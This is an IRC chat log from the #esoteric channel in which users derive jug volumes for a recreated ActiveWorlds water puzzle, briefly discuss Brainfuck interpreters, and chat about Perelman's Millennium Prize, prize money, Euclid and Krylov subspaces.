< 1269055375 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269055385 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pineapple, the puzzle is there because it was in the original game, but getting the numbers from the original is nigh-impossible now < 1269055395 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :original? < 1269055402 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :THe numbers are what they are because no one had a clear understanding of what they should be < 1269055425 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://wiki.activeworlds.com/index.php?title=Mutation < 1269055501 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :have you tried googling for spoilers, then calculating the numbers from that? < 1269055511 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Original equiv puzzle: http://wiki.activeworlds.com/index.php?title=Image:Blue_crystal.PNG < 1269055566 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Let me implement this, and if it really is that bad, I can convince someone to change the numbers < 1269055584 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: i take it that no-one else have even considered to measure them? < 1269055593 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Correct < 1269055607 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :We wouldn't know how, I thinkl < 1269055623 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :... < 1269055633 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I mean, besides measuring pixels in a screenshot < 1269055648 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: you could use pineapple's algorithm < 1269055673 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :basically see how long it takes until you cycle to all 0 < 1269055678 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I thought pineapple was giving a solution for the puzzle, not how to generate.. OH < 1269055710 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i am pretty sure you can deduce the ratio of A to B from the progression < 1269055712 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :well < 1269055715 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :taht works, yes < 1269055728 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The original isn't playable anymore < 1269055730 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although we can visit < 1269055731 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :the other way is measure with pixels and see what numbers you get < 1269055733 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :assuming you manage to avoid hitting the red line < 1269055745 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :and if you do hit the red line < 1269055749 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :go the other way around < 1269055764 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269055770 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Where did pineapple put his algorithm < 1269055785 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :pixels: a=227, b=118, target=76 < 1269055789 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: /last tap < 1269055801 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : Sgeo: tap to A; while(A isn't empty) {A to B; if (B is full) B to floor; else tap to A;} < 1269055832 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that causes the total amount to be changed by -B (mod A) at each step < 1269055834 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What does tap mean? go to top? < 1269055847 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1269055849 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :tap to A means fill A from the tap < 1269055860 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :(all the way to the top) < 1269055862 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION does this by hand
< 1269055873 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :B to floor means empty B < 1269055913 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you count how many times you fill A, and how many times you empty B, until you cycle. then the ratio of times = ratio of volumes < 1269055942 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think I just hit an infini.. um < 1269055951 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So this isn't how to determine how easy it is? < 1269055963 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think I hit the solution a bit too soon < 1269055967 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :my code is written based on C < 1269055970 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's how to determine all relevant information < 1269055987 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :(relevent for getting the if statement handled correctly) < 1269055990 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :For 6:4, tapping A, A->B is done < 1269056013 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo:move the red line < 1269056031 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The only positions A reaches are 0, 2, and 6 < 1269056032 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :out of the way if you can < 1269056043 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Unless I'm doing something wrong < 1269056049 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yeah... sounds like you are < 1269056050 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: if you _know_ it's 6:4 you don't need to measure do you < 1269056074 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, those are the measurements for the NEW stuff. I still don't know what the original was, but I think it was tougher than this < 1269056096 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: i'm almost certain it is, based on the screenshot < 1269056098 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :hang on < 1269056119 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :A can never reach anything other than 0, 2, and 6? < 1269056124 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: pineapple's algorithm shows that you can choose _any_ integer volumes you want < 1269056142 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: it should be able to reach 4 < 1269056158 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm < 1269056169 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Um, that's even easier < 1269056219 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: the spots you can hit are the multiples of the greatest common factor of 6 and 4 (i.e. 2) < 1269056238 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269056244 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: nearest (smallest) interger solution for the original image, based om measurements: A=25, B=13, t=4 < 1269056273 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269056277 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, remember, the camera was kind of at an angle < 1269056280 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :t? < 1269056287 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :target < 1269056293 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :wait < 1269056297 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :that's not right, lol < 1269056300 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :t=8 < 1269056318 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :or... < 1269056322 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :fuck, hang on < 1269056367 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :no... < 1269056370 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :that ain't right... < 1269056376 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if it were A=24, B=12 then things would be a bit awkward :D < 1269056380 0 :songhead95!~jay@c-71-232-230-180.hsd1.ma.comcast.net JOIN :#esoteric < 1269056386 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :Hi < 1269056388 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :i'm getting t of 8,37 < 1269056417 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe a more straight-on picture would be appreciated? < 1269056427 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :yes, very < 1269056441 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :in the original... did the red line move? i'm assuming not < 1269056461 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It did not < 1269056464 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :As far as I remember < 1269056472 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :is there a Brainfuck interpreter that just takes input from stdin, and can be used as a shell interpreter eg. < 1269056472 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :#!/usr/local/bin/BRAINFUCK < 1269056481 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :or something < 1269056519 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Should I try to make it so that the bottom edge of each cylinder is head-on? < 1269056523 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :songhead95: almost any interpreter should be able to do that, since all those #! characters are comment characters in BF < 1269056527 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :songhead95: Several. < 1269056532 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yes < 1269056548 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Might I suggest Egobfi? < 1269056553 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :also, as large as you can get it < 1269056579 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :thank you < 1269056671 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/Sn4ZE.png < 1269056775 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: AW looks positively... 90s. < 1269056836 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :B 157, A 283, t 93-96 (likely somewhere in the middle) < 1269056872 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, it is < 1269056882 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :A/B gives 1.802547771 < 1269056892 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :suggests 9/5 < 1269056919 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Probably better to use 9/5 than the exact original measurements < 1269056923 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :which puts t at 3 < 1269056938 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :there's your answer, honey < 1269056944 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :tyvm < 1269056945 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :it's highly unscientific < 1269056952 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :but... that's often the best way < 1269056955 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So what? Will it be playable? < 1269056999 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: all integers are playable, in principle ;D < 1269057007 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Will it not be too trivial? < 1269057040 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :lessee < 1269057040 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :that should be... relatively easy < 1269057055 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :As long as it's not as trivial as 3/2 was < 1269057103 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :when B is emptued for the 3rd time, A has 3 in it < 1269057127 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :that's not trivial... and probably not that frustrating < 1269057134 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Awesome < 1269057140 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pineapple, how can I repay you? < 1269057141 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :5*2 == 1 (mod 9) < 1269057245 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: can't think of anything < 1269058189 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269059166 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269062110 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1269064148 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269064160 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :eyo < 1269064616 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So much for hoping that my code would be perfect first time < 1269066428 0 :deschutron!unknown@unknown.invalid PART #esoteric :? < 1269066658 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269069690 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269071898 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269071999 0 :clog!unknown@unknown.invalid QUIT :ended < 1269072000 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269073796 0 :coppro!unknown@unknown.invalid QUIT :Quit: upgrade time < 1269075233 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269075618 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1269077584 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269077625 0 :kev_!~kev@59.172.14.18 JOIN :#esoteric < 1269077654 0 :kev_!unknown@unknown.invalid QUIT :Client Quit < 1269077771 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269077850 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269078168 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1269079584 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269080663 0 :nooga!~nooga@093105098174.pila.vectranet.pl JOIN :#esoteric < 1269081412 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1269081425 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i just caused panic < 1269081733 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269083473 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269083740 0 :MigoMipo!~migomipo@84-217-8-28.tn.glocalnet.net JOIN :#esoteric < 1269084305 0 :kar8nga!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269084989 0 :nooga!~nooga@093105098174.pila.vectranet.pl JOIN :#esoteric < 1269085510 0 :alise!~alise@genld-216-202.t-mobile.co.uk JOIN :#esoteric < 1269085520 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maximal antipotential. < 1269085537 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :07:18:59 wow, the Poincaré conjecture has been proved < 1269085543 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::slowpoke: < 1269085572 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the guy who solved it is awesome he denied a prize for it because he didn't think the board were qualified to assess his work < 1269085601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"According to a 2006 interview, Perelman is currently jobless, living with his mother in Saint Petersburg." < 1269085607 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :guess he really doesn't like money < 1269085795 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: to be less obtuse, the Poincare conjecture was proved 2002-2003 < 1269085854 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but the actual millennium prize about it seems to have been awarded to him two days ago, making this a bit topical. One has to wonder whether they bothered to ask him if he wants it, though. < 1269085937 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :On 18 March, 2010, Perelman was awarded a Millennium Prize for solving the problem.[14] He had previously stated that "I'm not going to decide whether to accept the prize until it is offered."[3] < 1269085941 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So: I think he did accept. < 1269085984 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.claymath.org/poincare/index.html < 1269085992 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :they misromanised his name :))) < 1269086031 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't know; New Scientists says "A million-dollar prize for solving one of toughest problems in mathematics has been awarded to a Russian mathematician, but the real puzzle is whether he'll accept it." < 1269086042 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ah; okay. < 1269086044 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"The president of CMI, James Carlson, is waiting to see if Perelman will do the same for the Millennium prize. "It may be a while before he makes his decision," he says." < 1269086045 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then we will see. < 1269086069 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: There are different romanizations, and that, AFAIK, is valid. < 1269086069 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I imagine he will probably decline; why Millennium but not Fields? < 1269086083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yeah, I know :P < 1269086094 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Grigori is a nicer romanisation though < 1269086101 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Though, billions and billions of dollars! < 1269086114 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Maybe his mother goes all "you'll take that money or I'll kick you out". < 1269086117 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I guess the -iy is closer to the actual pronunciation < 1269086140 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Although I guess nobody English will pronounce it any differently whether it's -i, -y, or -iy < 1269086159 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Billions and billions: 1 million < 1269086190 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, those were small billions. < 1269086198 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure anyone who declines the Fields medal is one fucking morally certain man < 1269086225 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Heh, the Fields medal only awards $15,000USD as of 2006 < 1269086293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :19:46:15 Sgeo: AW looks positively... 90s. < 1269086293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's why he likes it < 1269086311 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WIND OF FURY! POWER OF BLOOD! HEALING! LIGHT! BY YOUR POWERS COMBINED, I AM--- < 1269086314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(http://i.imgur.com/Sn4ZE.png) < 1269086319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ooh, I forgot MAGIC SHIELD! < 1269086416 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The one that ends up with -i sounds a bit non-information-preserving; I don't know how that domanization would differentiate between Григорий and Григори; google seems to suggest that some people use the latter as a name too. < 1269086427 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :s/dom/rom/ < 1269086433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fair enough. < 1269086435 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :DOMINATION. < 1269086436 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :even if i had no use for a million, i'd take it just so others don't get it < 1269086464 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I might decline some prestigous prize because I'll be more famous if I do that :) < 1269086471 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but i would totally have a use for a million, i've always wanted to give some homeless guy 100000 < 1269086494 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: Then he'll spend it all on booze and die, you man-slaughtererer. < 1269086513 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::DDDD < 1269086515 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quite frankly I would enjoy money. < 1269086525 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Shocking, I know. < 1269086532 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i would probably choose one whose brain isn't completely melted yet < 1269086549 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh well i would probably buy a house too < 1269086555 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and a few books < 1269086588 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and probably give half of the rest to people i know and half in a bank of smth < 1269086590 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :My wife asked me what I'd do with 50 million euros (she'd buy some 14-million manor somewhere, I forget just where); the first thing I could think of was "hmm, maybe I'll buy dessert with lunch at work". (That costs 0.95 eur extra.) < 1269086615 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i like books < 1269086621 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :dessert not so much < 1269086686 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'd prolly just hire a buncha expensive people to manage it for me and turn it into more money (they can have some so they don't run away) < 1269086693 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and then I could gain money without bound, and thus I could completely ignore money as it is, over time, infinite < 1269086703 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :take that, capitalism < 1269086705 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269086741 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Everything's so expensive nowadays since I no longer get any student discounts; apparently graduate students aren't quite as good as real students. So the lunch is now 5.40 eur as opposed to 2.55 or so. < 1269086759 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1269086807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'd also get loads of people to build my perfect house, buying one is so boring < 1269086808 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you don't work at uni? i mean if you get a salary, 5,40 is nothing < 1269086828 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i want like... i don't know, cool technology. in my walls < 1269086871 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: It's the principle of it! Besides, the change in lunch price pretty much ate the wage-raise I got by graduating. (It bumps the "difficulty level" pay-scale column index by one automatically.) < 1269086891 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(And the change in bus ticket price did the rest.) < 1269087294 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even though I dislike geometric proofs < 1269087298 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Elements is so beautiful < 1269087302 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the first constructivist work, I wonder? < 1269087330 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also using geometry as the foundation of all mathematics amuses me... < 1269087365 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :weird < 1269087422 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not really < 1269087437 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i mean his geometry basically embeds the real numbers... < 1269087532 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ha! < 1269087546 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i'm going to scotland! < 1269087699 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :can't you do geometry on rationals? < 1269087804 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i haven't actually seen an axiomatization of geometry, but i hear there were some really simple things that hadn't been realized to not be derivable from the axioms but were used as if they were, as late as late 1900's < 1269087820 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :because it's such a hard thing to axiomatize, given we have such strong intuitions about it < 1269087832 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :something like points exist between two points < 1269087935 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :we have a geometry course at uni, but apparently it skips some of the boring details < 1269088027 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :probably have to be pretty boring, because the lecturer said they were, and he was all hyper over cyclic modules "and we get this particularly fascinating fellow" he loves to personify things "if we just have one generator" < 1269088127 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The Matrix Computations lecturer refers to matrices and vectors as people too, usually with the word "guy"; "and this guy here ... and we get this guy ..." and so on. < 1269088258 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :He also keeps laughing all the time, without any explicit jokes. < 1269088269 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :if there's a sum where i goes from 1 to n, the same lecturer often says "ja i kipittää 1:stä n:ään" < 1269088273 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :which i always find hilarious < 1269088304 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :where the funny thing is kipittää is a funny word < 1269088318 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Some of my friends collected the best sayings of maths lecturers in notebooks; unfortunately I don't have any handy. < 1269088364 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"These matrices can be... really big *ehehe*." It's very amusing to listen, though. < 1269088499 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The course seems to currently be in a transition to the interesting part; the part where we no longer have a matrix A as a pile of numbers, but instead just a linear operator A that you can apply to a vector, because the matrix itself would be too large to store in memory. Now it's going to be all Krylov subspaces and whatnot. < 1269088525 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what are those < 1269088535 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :please define them in guy terms < 1269088557 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :how many courses are you on usually? < 1269088561 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :at a given time < 1269088581 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :K_r(A, b) = span(b, Ab, A^2b, ..., A^(r-1)b), nothing more complicated than that. < 1269088611 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I seem to have around 4-5 now. It's only something like 60 course credits for the licensiate/doctoral degree, after all. < 1269088638 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so this A dude here makes all sortsa copies of itself and then all those copies have buttsex with b at the same time and a vector space is spanned < 1269088667 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. Except you have to worry about the numerical stability of the buttsex. < 1269088673 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1269088777 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :whats < 1269088779 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that mean < 1269088781 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :' < 1269088803 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :4-5 is considered a lot among turkuans < 1269088828 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :maybe we are a crappier uni < 1269088863 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't think it's considered "a lot" here, but it's not an especially tiny amount either, I Guess. < 1269088879 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269088885 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :actually one of the professors told me people in turku are better at math usually, which he'd probably be regretting if he knew i was gonna tell it to everyone < 1269088918 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Back at the beginning of the course, when he was trying to motivate the course by talking about big matrices, he was all about "the Google matrix", which is a NxN matrix where N is the size of the Internet. < 1269088943 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess this is somehow related to the fact that you get PageRank values as eigenvalues of some sort of adjacency matrix of the Internet. < 1269088960 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or the universe matrix containing for each point the points at most one meter from it?!? < 1269088986 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There might've been actually some physics problem, though maybe not quite like that. < 1269088996 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :unless you can give out search results by multiplying with the matrix, then it would be slightly more interesting < 1269089024 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :have to go see ya < 1269089031 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Same here, actually; boo-ya. < 1269089413 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269089525 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : turns out linear functions are invertible (they have normal function inverses) iff their determinant is nonzero <-- makes perfect sense considering that is true for matrices. < 1269089580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : I suppose none of this is related to Computer Science? Maybe I should stick with this college and Minor in math <-- well, matrices at least are used a lot in programming. Especially 3D iirc. < 1269089645 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :CS != programming < 1269089653 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well yes < 1269089662 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, however programming is a part of CS < 1269089719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269089723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :programming isn't even applied CS < 1269089744 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :programming, aka software engineering, is an enirely separate field that happens to use some ideas from CS < 1269089750 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just like physics uses mathematics... < 1269089821 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, however, I'm pretty sure (basic) programming is taught as part of CS courses. At least for all universities I checked. < 1269089835 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric 